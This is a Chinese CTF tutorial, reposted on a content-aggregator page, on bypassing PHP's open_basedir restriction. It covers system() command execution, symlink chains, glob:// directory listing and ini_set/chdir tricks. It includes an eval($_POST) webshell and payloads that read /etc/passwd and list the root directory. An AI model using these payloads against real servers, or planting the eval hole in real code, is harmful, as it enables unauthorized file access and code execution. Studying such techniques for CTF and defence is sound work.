网站建设怎样上传程序东莞地产网站建设

bicheng/2026/1/18 8:34:36/文章来源:
网站建设怎样上传程序,东莞地产网站建设,淘宝网站开发需求分析,网站建设的基本技术步骤目录 0x01 首先了解什么是 open_basedir 0x02 通过命令执行绕过 0x03 通过symlink 绕过 #xff08;软连接#xff09; 0x04利用glob://绕过 方式1——DirectoryIteratorglob:// 方式2——opendir()readdir()glob:// 0x05 通过 ini_set和chdir来绕过 在ctfshow 72遇到…目录 0x01 首先了解什么是 open_basedir 0x02 通过命令执行绕过 0x03 通过symlink 绕过 软连接 0x04利用glob://绕过 方式1——DirectoryIteratorglob:// 方式2——opendir()readdir()glob:// 0x05  通过 ini_set和chdir来绕过 在ctfshow 72遇到的 open_basedir 所以进行学习 https://www.cnblogs.com/hookjoy/p/12846164.html#:~:text%E5%8F%AA%E6%98%AF%E7%94%A8glob%3A,%E8%83%BD%E8%AF%BB%E5%8F%96%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9%E3%80%82 上面是师傅的文章 我就跟着复现一下 0x01 首先了解什么是 open_basedir open_basedir是php.ini的设置 在open_basedir设置路径的话 那么网站访问的时候 无法访问除了设置以外的内容 这里还有一个知识点 如果我们设置 open_basedir/var/www/html那我们只能访问/var/www/html/index.php /var/www/html/images/logo.png /var/www/html/includes/config.php不能访问/var/www/otherfile.php不在指定目录之下 /var/www/html2/index.php不是以指定路径为前缀所以open_basedir并不是以目录名为 规定而是路径 我创建了一个test文件夹 存放着 1.php 那我设置open_basedir 指定 test open_basedir D:\phpstudy_pro\WWW\test那我们看看能不能访问1.php 发现是ok的 那我们去访问一下 www的 flag.php呢 发现阻止了 并且我们无法访问其他目录 例如 sqli-labs 0x02 通过命令执行绕过 open_basedir对命令执行没有限制 假如没有进行过滤 那我们就可以通过system函数直接执行 我的1.php代码是 ?phpif(isset($_POST[c])){$c $_POST[c];eval($c); }else{highlight_file(__FILE__); }? 没有过滤 而且通过post方式 cshow_source(__FILE__);system(type D:\phpstudy_pro\WWW\flag.php); 成功绕过了 open_basedir 这里是适用于 没有对命令进行过滤 但是一般都难以使用 会被disable_functions 禁用 0x03 通过symlink 绕过 软连接 软连接我们在 ciscn的unzip有见识到就是linux的快捷方式我们可以通过软连接链接其他文件 然后对其进行访问 这里还需要介绍symlink()函数 symlink(链接的目标链接的名称) 我们来尝试一下 ?php symlink(/root/.presage/,/root/桌面/exp); ?然后我们执行一下 php 2.php 发现真的生成了一个文件夹exp 并且就是指向了我们需要的目录 这里我们开始复现师傅的内容 mkdir 创建文件夹chdir 切换到某文件夹的工作区间 假如我们在/var/www/html/的3.php处 ?php mkdir(A); chdir(A); mkdir(B); chdir(B); mkdir(C); chdir(C); mkdir(D); chdir(D); ? 执行 发现现在的路径变为了/var/www/html/A/B/C/D/ 这个时候 我们已经进入了 D目录 我们需要退回 html界面就通过 ..即可 ?php mkdir(A); chdir(A); mkdir(B); chdir(B); mkdir(C); chdir(C); mkdir(D); chdir(D); chdir(..); chdir(..); chdir(..); chdir(..); ? 这个时候 就处于 var/www/html目录下 然后我们通过软连接链接 abcd ?php mkdir(A); chdir(A); mkdir(B); chdir(B); mkdir(C); chdir(C); mkdir(D); chdir(D); chdir(..); chdir(..); chdir(..); chdir(..); symlink(A/B/C/D,7abc); ? 这个时候 我们再建立 symlink(7abc/../../../../etc/passwd,exp); 的链接 但是这个我们是无法建立的 因为不存在这种软连接 但是我们只需要 删除 7abc的软连接 然后创建一个 7abc的文件夹 那么这样 就是 目录的7abc/../../../etc/passwd 这样就不会访问快捷方式的 而是当前目录的 然后访问exp 发现就是passwd里的内容了 这样我们就打破了 open_basedir的限制 访问了其他目录的内容 ?php mkdir(A); chdir(A); mkdir(B); chdir(B); mkdir(C); chdir(C); mkdir(D); chdir(D); chdir(..); chdir(..); chdir(..); chdir(..); symlink(A/B/C/D,7abc); symlink(7abc/../../../../etc/passwd,exp); unlink(7abc); mkdir(7abc); ?这里payload的重点就是 我们想要跨越多少层就需要建立多少层的 目录然后通过软连接删除 生成文件夹 然后就可以通过当前文件夹 链接到该去的地方 0x04利用glob://绕过 照常 首先看看什么是 glob://协议 glob://协议 就是查找文件路径的模式是从 5.3开始使用的协议 利用师傅的 内容进行修改 ?php $it new DirectoryIterator(glob:///var/www/html/*.php); foreach($it as $f) {printf(%s: %.1FK\n, $f-getFilename(), $f-getSize()/1024); %s字符串 %.1F 一位小数 %K 单位} ?打印一下 var/www/html的内容 发现生效了 但是如果只是单用 glob://无法绕过的 所以我们需要结合其他函数 方式1——DirectoryIteratorglob:// DirectoryIterator 就是一个接口 用户可以简单轻松的查看目录 ?php $c$_GET[c]; $anew DirectoryIterator($c); foreach($a as $f){echo($f-__toString().br); } ? 然后我们输入 glob:///* 就可以列出根目录 但是 使用这个方法只能访问根目录和open_basedir受限的目录 所以对于 ctfshow web72 也可以使用这个方法访问根目录 c??php $anew DirectoryIterator(glob:///*); foreach($a as $f){echo($f-__toString().br); }exit(); ?得到了flag的地址 回到这里 那我们就应该使用另一个方法 方式2——opendir()readdir()glob:// opendir()打开目录句柄readdir() 读取目录 ?php $a $_GET[c]; if ( $b opendir($a) ) {while ( ($file readdir($b)) ! false ) {echo $file.br;}closedir($b); } ? 这里对于web72也可以使用 c??php if ( $b opendir(glob:///*) ) {while ( ($file readdir($b)) ! false ) { echo $file.br;}closedir($b);}exit(); 效果和 DirectoryIterator一样 只能根目录和限定目录 0x05  通过 ini_set和chdir来绕过 ?php echo open_basedir: .ini_get(open_basedir).br; echo GET: .$_GET[c].br; eval($_GET[c]); echo open_basedir: .ini_get(open_basedir); ? 通过相对路径 mkdir(mi1k7ea);chdir(mi1k7ea);ini_set(open_basedir,..);chdir(..);chdir(..);chdir(..);chdir(..);ini_set(open_basedir,/);echo file_get_contents(/etc/passwd); 首先我们创建一个可以上下跳的目录 /var/www/html创建 mi1k7ea /var/www/html/mi1k7ea切换到当前目录 通过 chdir然后ini_set 设置 open_basedir为 ..那么这个时候 php.ini里的内容就为 .. 那我们进行切换工作目录chdir .. 返回上一个目录 即/var/www/html通过 open_basedir的比对 符合.. 那么就可以访问我们再来一次/var/www/var/ 最后到/ 了 但是我们无法通过 / 去访问 因为 / ! ..这个时候 我们再来一次 ini_set 设置为 / 这个时候 我们就可以访问 / 下的任何内容了 这里有一个需要注意如果我们的php文件在根目录即/var/www/html/那么就需要创建一个 目录来进行设置 即mkdir(123);chdir(123);ini_set(open_basedir,..);如果我们不在根目录 即/var/www/html/test/并且open_basedir为 /var/www/html/那么我们就不需要再创建一个目录来设置直接在test上操作即可即 ini_set(open_basedir,..);chdir(..); 到此 差不多就结束了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/89270.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

建设一个网站需要多少钱怎么仿网站链接

本篇文章为大家介绍一下与网络加速有关的几个重要概念,一起了解一下CDN,P2P和PCDN究竟是什么吧! 1. CDN CDN即Content Delivery Network,中文全称为内容分发网络。 如果内容离用户远,用户可能无法获得及时的响应,那…

永州市建设网站Reviewer WordPress

前端调用iOS系统图库时异常 好久没更新了,忙于生计。 近日开发中需要iOS客户端需要加载一个webview用于承载一些IM的聊天功能,对于iOS来说很简单,加载一个url即可,但是本人习惯于写成view添加到window上[UIApplication sharedApp…

北京网站建设的价格天更改wordpress后台地址

一、题目 函数原型:int mySqrt(int x) 二、思路 利用二分查找思想,在0与x区间进行查找。 设置左边界 left (初始值为0),右边界 right(初始值为x)和中值 mid (值为区间的中间值&#…

化妆品企业网站案例大全购物商城外贸网站

目录 1.引入 2. Post-Build Loadable集成要点 3.SWC上的变体管理 1.引入 在前一篇,我们分别讲了AUTSAR对于配置数据编译时间的设计,如下: Pre-CompileTime:在这个阶段配置参数参与编译后就无法再改变了,常见的如宏定义,该方式可以有效缩减代码量,节省Flash空间。…

建一个网站首先要怎么做有没有专门做名片的网站

目录 前言 1 哈希表 哈希表常用操作 哈希表简单实现 哈希冲突与扩容 2 哈希冲突 链式地址 开放寻址 线性探测 平方探测 多次哈希 编程语言的选择 3 哈希算法 哈希算法的目标 哈希算法的设计 常见哈希算法 数据结构的哈希值 总结 前言 秋招复习之哈希表。 1 哈希表 「哈希表 h…

音乐介绍网站怎么做小白怎么学室内设计

博主主页:Java旅途 简介:分享计算机知识、学习路线、系统源码及教程 文末获取源码 一、项目介绍 教务管理系统基于SpringSpringMVCMybatis开发,功能和学生成绩管理系统,学生选课管理系统类似,也可以做学生成绩管理系统…

wordpress 插件怎么写对网站进行seo优化

前端页面渲染机制是指在 web 开发中,浏览器如何将 HTML、CSS 和 JavaScript 转换为用户可视化的网页界面的过程。这个过程通常包括以下几个主要步骤: 加载 HTML: 首先,浏览器会获取 HTML 文件,并解析其结构。这个过程包括识别 HTM…

重庆建站模板展示沈阳鹊起网站建设

RSabet..123我使用装饰器主要用于计时目的def time_dec(func):def wrapper(*arg):t time.clock()res func(*arg)print func.func_name, time.clock()-treturn resreturn wrappertime_decdef myFunction(n):...好例子!不知道它做了什么.解释你在那里做什么,以及装饰者如何解决…

建设一个商城网站的成本成都有什么好玩的

上回书说到,flag的问题。这回说到日志。无论是软件开发的调试阶段还是软件上线之后的运行阶段,日志一直都是非常重要的一个环节,我们也应该养成在程序中记录日志的好习惯。 文章目录 log配置logger配置日志前缀配置日志输出位置自定义logger …

网站建设开票内容是什么意思深圳发布广告的平台有哪些

摘要:对电气线路进行接地故障保护,方式接地故障电流引起的设备和电气火灾事故越来越成为日常所需。针对用户侧主要的用能节点,设计安装剩余电流继电器,实时监控各用能回路的剩余电流状态。通过实时监控用能以及相关电力参数、提高…

建网站的工具有哪些网站后台使用培训

目录 Docker Compose环境的安装 通过docker compose完成python程序的运行 Docker Compose环境的安装 ##### 方法一:直接下载编译好的二进制文件 注意:只有linux平台上在安装docker时没有安装docker-compose,windows、macos安装docker时自…

拿p5.js做的网站一蓝网站建设

三种原型实现模型一、抛弃式原型开发二、演化式原型开发三、增量式原型开发一、抛弃式原型开发 1、定义:验证和澄清系统的需求描述,重新构造系统。 2、流程图 3、典型例子 开发者与客户进行沟通交流,之后获取到客户的需求,于是…

网站建设员招聘杭州做模板网站

业务介绍 默认:第一个图标为选中状态,其他三个图标事未选中状态 样式:选中状态是深蓝,未选中状体是浅蓝 交互:鼠标放上去选中,其他未选中,鼠标离开时候保持当前选中状态 实现:目前…

南京定制网站哪个好广告设计公司绩效考核

一、前言 最近公司新项目,需要搭架构进行开发,其中需要保证事务的一致性,经过一番查找,发现很多博文都是通过Spring.Net、Unity、PostSharp、Castle Windsor这些方式实现AOP的。但是这不是我想要的,因此一番查找后&am…

wordpress 下载页面某网站搜索引擎优化

新质生产力是创新起主导作用,摆脱传统经济增长方式、生产力发展路径,具有高科技、高效能、高质量特征,符合新发展理念的先进生产力质态。 **风口情报:**近日,中央经济工作会议首次提出“发展新质生产力”;…

浦口区建设局网站wordpress本地安装教程

题意 xzyzx∗y∗zk( y>x&&z>1) 给我们这个等式让我们找出这里面有多少个不同的可行解 分析 表面上数据范围比较大 但由于k最大都在int范围内 由于后面还有一个x*y*z 于是这个式子的指数不会超过31 再来分析x和y 这里必定是一个y大x小 那么假如我们先枚举一个…

网页跳转到其它网站如何销售游戏网站建设

收藏点赞不迷路 关注作者有好处 文末获取源码 一、系统展示 二、万字文档展示 基于springboot医院管理系统 开发语言:Java 数据库:MySQL 技术:SpringSpringMVCMyBatisVue 工具:IDEA/Ecilpse、Navicat、Maven 编号:…

餐饮网站建设公司网站seo外链怎么做

目录 一、核心代码解释 二、代码 三、运行截图 一、核心代码解释 1、hex() 函数 参数说明: x -- 10进制整数 返回值: 返回16进制数,以字符串形式表示。 实例: 以下实例展示了 hex 的使用方法: >>>h…

哪些网站适合做外贸网站推广精灵网站建设

上海震坤行:水泥行业数字化采购的趋势、策略与实践 在中国水泥协会发布的《2023年上半年水泥行业经济运行及下半年展望》中提到了水泥行业的发展现状——2023年上半年,在全球经济增长放缓、国内经济延续恢复态势、但市场需求不足的宏观环境下&#xff0…

住房和建设厅网站成都模板网站建设

总分结构回答,突出关键接口、类、方法名 run -> AbstractApplicationContext.refresh()程序的入口 在IOC中的操作都是基于DefaultListableBeanFactory bd对象保存在map集合中 refresh方法宝包括了整个Spring的执行流程和bean的完整生命…